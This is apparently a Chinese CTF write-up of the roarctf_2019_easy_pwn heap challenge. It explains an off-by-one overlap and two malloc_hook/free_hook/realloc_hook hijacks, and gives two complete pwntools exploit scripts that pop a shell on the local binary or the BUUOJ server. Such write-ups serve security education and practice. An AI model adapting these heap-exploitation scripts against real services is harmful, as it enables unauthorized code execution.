roarctf_2019_easy_pwn
这篇博客主要记录当直接在malloc_hook中直接写入one_gadget不起作用时的一些处理方法。题目附件:https://buuoj.cn/challenges#roarctf_2019_easy_pwn
题目分析:
- 题目提供了Create, Write, Drop, Show四个函数,其中Write函数存在off by one漏洞
利用思路:
- 利用off by one修改chunk的size达到overlap的目的
这道题目的难点在于向malloc_hook中写入的one_gadget全部失效。在一番苦思后我决定看看大佬的博客,现记录一下其中的处理方法:
解法一:
- 在malloc_hook附近构造fake_chunk,通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中,然后在分配出去
- 修改main_arean中top_chunk的地址为free_hook附近
- 分配chunk控制free_hook
- 这一步有两个选择,一是向free_hook中写入one_gadget,二是向free_hook中写入system
exp如下:
from pwn import * from LibcSearcher import * context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h']) p = process('./roarctf_2019_easy_pwn') #p = remote('node3.buuoj.cn', 29382) def Create(size): #p.sendlineafter('choice: ', '1') p.recvuntil('choice: ') p.sendline('1') p.sendlineafter('size: ', str(size)) def Write(index, size, content): p.sendlineafter('choice: ', '2') p.sendlineafter('index: ', str(index)) p.sendlineafter('size: ', str(size)) p.sendafter('content', content) def Drop(index): p.sendlineafter('choice: ', '3') p.sendlineafter('index: ', str(index)) def Show(index): p.sendlineafter('choice: ', '4') p.sendlineafter('index: ', str(index)) Create(40) Create(32) Create(128) #0x80 Create(16) payload = 'A'*0x28 + '\x51' Write(0, 50, payload) payload = '\x00'*0x18 + '\x71' payload = payload.ljust(0x80, '\x00') Write(2, 128, payload) Drop(1) Create(64) #0x40, chunk 1 payload = '\x00'*0x28 + '\x91' payload = payload.ljust(64, '\x00') Write(1, 64, payload) Drop(2) Show(1) p.recv(0x30+9) malloc_hook = u64(p.recv(8)) - 0x68 log.success("malloc_hook ==> {:#x}".format(malloc_hook)) libc = LibcSearcher('__malloc_hook', malloc_hook) libc_base = malloc_hook - libc.dump('__malloc_hook') log.success("libc_base ==> {:#x}".format(libc_base)) one_gadget = libc_base + 0x4526a log.success("one_gadget ==> {:#x}".format(one_gadget)) free_hook = libc_base + libc.dump('__free_hook') log.success("free_hook ==> {:#x}".format(free_hook)) fake_chunk = free_hook - 0xb58 log.success("fake_chunk ==> {:#x}".format(fake_chunk)) system_addr = libc_base + libc.dump('system') log.success("system_addr ==> {:#x}".format(system_addr)) Create(96) #0x60 Drop(2) payload = '\x00' * 0x28 + p64(0x71) + p64(malloc_hook - 0xb) + '\x00'*8 Write(1, 64, payload) Create(96) Create(104) payload = '\x00'*0x60 + '\x00'*3 + p64(free_hook-0xb58)[0:6] Write(4, 114, payload) for i in range(11): Create(256) payload = '\x00'*0xa8 + p64(one_gadget) payload = payload.ljust(256, '\x00') Write(15, 256, payload) Write(3, 16, '/bin/sh\x00'.ljust(16, '\x00')) #gdb.attach(p) Drop(3) p.interactive()
解法二:
- 在malloc_hook附近构造fake_chunk,通过修改fastbin中的chunk的fd指针把fake_chunk放入fastbin中,然后在分配出去
- 因为realloc_hook在malloc_hook - 0x8的位置,所以我们向realloc_hook中写入one_gadget,向malloc_hook中写入realloc函数的地址
exp如下:
from pwn import* p = process("./roarctf_2019_easy_pwn") #p = remote('node3.buuoj.cn', 25192) context.log_level = 'debug' context.terminal = ['tmux', 'splitw', '-h'] a = ELF("/lib/x86_64-linux-gnu/libc.so.6") def add(size): p.recvuntil("choice:") p.sendline("1") p.recvuntil("size:") p.sendline(str(size)) def edit(idx,size,content): p.recvuntil("choice:") p.sendline("2") p.recvuntil("index: ") p.sendline(str(idx)) p.recvuntil("size:") p.sendline(str(size)) p.recvuntil("content: ") p.sendline(content) def delete(idx): p.recvuntil("choice:") p.sendline("3") p.recvuntil("index: ") p.sendline(str(idx)) def show(idx): p.recvuntil("choice:") p.sendline("4") p.recvuntil("index: ") p.sendline(str(idx)) add(24) #0 add(24) #1 add(56) #2 add(34) #3 add(56) #4 edit(0,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') delete(1) add(56) #1 show(2) address = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) print "address:" + hex(address) libc_Addr = address-(0x7ffff7dd1b78-0x7ffff7a0d000) malloc_hook_fkchunk = libc_Addr + 0x3c4aed log.success("malloc_hook_fkchunk ==> {:#x}".format(malloc_hook_fkchunk)) #one = libc_Addr+0x4526a#0xf02a4#0x4526a0xf1147 #0x45216# one = libc_Addr + 0xf1147 log.success("one_gadget ==> {:#x}".format(one)) ralloc_hook = libc_Addr +a.symbols['__realloc_hook'] realloc=libc_Addr+a.symbols['__libc_realloc'] log.success("realloc ==> {:#x}".format(realloc)) realloc_addr = libc_Addr + a.symbols['realloc'] log.success("realloc_addr ==> {:#x}".format(realloc_addr)) malloc_addr = libc_Addr + a.symbols['malloc'] log.success("malloc_addr ==> {:#x}".format(malloc_addr)) add(56)#5 add(24)#6 add(24)#7-->x91 add(90) #8 add(90) #9 add(24) #10 edit(6,34,'aaaaaaaaaaaaaaaaaaaaaaaa'+'\x91') delete(7) delete(8) add(110) #7 edit(7,120,'l'*0x10+'\x00'*8+'\x71'+'\x00'*7+p64(malloc_hook_fkchunk)+'\x00'*70) add(90) add(90)#11 edit(11,100,'l'*0x3 +p64(0)+p64(one)+ p64(realloc_addr)+'\x00'*63) p.recvuntil("choice:") p.sendline("1") p.recvuntil("size:") #gdb.attach(p) p.sendline(str(90)) p.interactive()